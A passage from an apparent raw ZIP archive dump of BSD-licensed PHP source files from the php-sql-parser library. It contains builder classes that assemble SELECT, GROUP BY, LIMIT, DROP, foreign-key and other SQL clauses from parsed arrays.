 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for an user variable. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class UserVariableBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::USER_VARIABLE) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \b%    S  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/AlterStatementBuilder.phpnu [        <?php
namespace PHPSQLParser\builders;

class AlterStatementBuilder implements Builder
{
    protected function buildSubTree($parsed) {
        $builder = new SubTreeBuilder();
        return $builder->build($parsed);
    }

    private function buildAlter($parsed)
    {
        $builder = new AlterBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed)
    {
        $alter = $parsed['ALTER'];
        $sql = $this->buildAlter($alter);

        return $sql;
    }
}
PK     \"1	  1	  N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DropIndexBuilder.phpnu [        <?php
/**
 * DropIndexBuilder.php
 *
 * Builds the CREATE INDEX statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the DROP INDEX statement. You can overwrite
 * all functions to achieve another handling.
 */
class DropIndexBuilder implements Builder {

	protected function buildIndexTable($parsed) {
		$builder = new DropIndexTableBuilder();
		return $builder->build($parsed);
	}

    public function build(array $parsed) {
        $sql = $parsed['name'];
	    $sql = trim($sql);
	    $sql .= ' ' . $this->buildIndexTable($parsed);
        return trim($sql);
    }

}
?>
PK     \U    T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/TableExpressionBuilder.phpnu [        <?php
/**
 * TableExpressionBuilder.php
 *
 * Builds the table name/join options.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the table name and join options. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class TableExpressionBuilder implements Builder {

    protected function buildFROM($parsed) {
        $builder = new FromBuilder();
        return $builder->build($parsed);
    }

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    protected function buildJoin($parsed) {
        $builder = new JoinBuilder();
        return $builder->build($parsed);
    }

    protected function buildRefType($parsed) {
        $builder = new RefTypeBuilder();
        return $builder->build($parsed);
    }

    protected function buildRefClause($parsed) {
        $builder = new RefClauseBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed, $index = 0) {
        if ($parsed['expr_type'] !== ExpressionType::TABLE_EXPRESSION) {
            return '';
        }
        $sql = substr($this->buildFROM($parsed['sub_tree']), 5); // remove FROM keyword
        $sql = '(' . $sql . ')';
        $sql .= $this->buildAlias($parsed);

        if ($index !== 0) {
            $sql = $this->buildJoin($parsed['join_type']) . $sql;
            $sql .= $this->buildRefType($parsed['ref_type']);
            $sql .= $parsed['ref_clause'] === false ? '' : $this->buildRefClause($parsed['ref_clause']);
        }
        return $sql;
    }
}
?>
PK     \<i    L  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/GroupByBuilder.phpnu [        <?php
/**
 * GroupByBuilder.php
 *
 * Builds the GROUP-BY clause.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the GROUP-BY clause. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class GroupByBuilder implements Builder {

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildPosition($parsed) {
        $builder = new PositionBuilder();
        return $builder->build($parsed);
    }

    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }

    protected function buildGroupByAlias($parsed) {
        $builder = new GroupByAliasBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildGroupByExpression($parsed) {
    	$builder = new GroupByExpressionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = "";
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildPosition($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildGroupByExpression($v);
            $sql .= $this->buildGroupByAlias($v);
            
            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('GROUP', $k, $v, 'expr_type');
            }

            $sql .= ", ";
        }
        $sql = substr($sql, 0, -2);
        return "GROUP BY " . $sql;
    }

}
?>
PK     \wks    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ColumnListBuilder.phpnu [        <?php
/**
 * ColumnListBuilder.php
 *
 * Builds column-list parts of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for column-list parts of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ColumnListBuilder implements Builder {

    protected function buildIndexColumn($parsed) {
        $builder = new IndexColumnBuilder();
        return $builder->build($parsed);
    }

    protected function buildColumnReference($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed, $delim = ', ') {
        if ($parsed['expr_type'] !== ExpressionType::COLUMN_LIST) {
            return '';
        }
        $sql = '';
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildIndexColumn($v);
            $sql .= $this->buildColumnReference($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE column-list subtree', $k, $v, 'expr_type');
            }

            $sql .= $delim;
        }
        return '(' . substr($sql, 0, -strlen($delim)) . ')';
    }

}
?>
PK     \
  
  S  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DropIndexTableBuilder.phpnu [        <?php
/**
 * DropIndexTable.php
 *
 * Builds the table part of a CREATE INDEX statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the table part of a DROP INDEX statement.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class DropIndexTableBuilder implements Builder {

    public function build(array $parsed) {
        if (!isset($parsed['on']) || $parsed['on'] === false) {
            return '';
        }
        $table = $parsed['on'];
        if ($table['expr_type'] !== ExpressionType::TABLE) {
            return '';
        }
        return 'ON ' . $table['name'];
    }

}
?>
PK     \s]7    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ForeignKeyBuilder.phpnu [        <?php
/**
 * ForeignKeyBuilder.php
 *
 * Builds the FOREIGN KEY statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the FOREIGN KEY statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ForeignKeyBuilder implements Builder {

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildColumnList($parsed) {
        $builder = new ColumnListBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildForeignRef($parsed) {
        $builder = new ForeignRefBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::FOREIGN_KEY) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildColumnList($v);
            $sql .= $this->buildForeignRef($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE foreign key subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \+dD	  	  J  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/LimitBuilder.phpnu [        <?php
/**
 * LimitBuilder.php
 *
 * Builds the LIMIT statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder LIMIT statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class LimitBuilder implements Builder {

    public function build(array $parsed) {
        $sql = ($parsed['rowcount']) . ($parsed['offset'] ? " OFFSET " . $parsed['offset'] : "");
        if ($sql === "") {
            throw new UnableToCreateSQLException('LIMIT', 'rowcount', $parsed, 'rowcount');
        }
        return "LIMIT " . $sql;
    }
}
?>
PK     \{ר    K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SelectBuilder.phpnu [        <?php
/**
 * SelectBuilder.php
 *
 * Builds the SELECT statement from the [SELECT] field.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the [SELECT] field. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SelectBuilder implements Builder {

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }

    protected function buildSelectExpression($parsed) {
        $builder = new SelectExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildSelectBracketExpression($parsed) {
        $builder = new SelectBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }
    /**
     * Returns a well-formatted delimiter string. If you don't need nice SQL,
     * you could simply return $parsed['delim'].
     * 
     * @param array $parsed The part of the output array, which contains the current expression.
     * @return a string, which is added right after the expression
     */
    protected function getDelimiter($parsed) {
        return (!isset($parsed['delim']) || $parsed['delim'] === false ? '' : (trim($parsed['delim']) . ' '));
    }

    public function build(array $parsed) {
        $sql = "";
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildSelectBracketExpression($v);
            $sql .= $this->buildSelectExpression($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildReserved($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('SELECT', $k, $v, 'expr_type');
            }

            $sql .= $this->getDelimiter($v);
        }
        return "SELECT " . $sql;
    }
}
?>
PK     \B    S  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DropExpressionBuilder.phpnu [        <?php
/**
 * DropExpressionBuilder.php
 *
 * Builds the object list of a DROP statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the object list of a DROP statement.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class DropExpressionBuilder implements Builder {

    protected function buildTable($parsed, $index) {
        $builder = new TableBuilder();
        return $builder->build($parsed, $index);
    }

    protected function buildDatabase($parsed) {
        $builder = new DatabaseBuilder();
        return $builder->build($parsed);
    }

    protected function buildSchema($parsed) {
        $builder = new SchemaBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildTemporaryTable($parsed) {
        $builder = new TempTableBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildView($parsed) {
        $builder = new ViewBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::EXPRESSION) {
            return "";
        }
        $sql = '';
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildTable($v, 0);
            $sql .= $this->buildView($v);
            $sql .= $this->buildSchema($v);
            $sql .= $this->buildDatabase($v);
            $sql .= $this->buildTemporaryTable($v, 0);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('DROP object-list subtree', $k, $v, 'expr_type');
            }

            $sql .= ', ';
        }
        return substr($sql, 0, -2);
    }
}
?>
PK     \ݡ@
  @
  [  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByColumnReferenceBuilder.phpnu [        <?php
/**
 * OrderByColumnReferenceBuilder.php
 *
 * Builds column references within the ORDER-BY part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
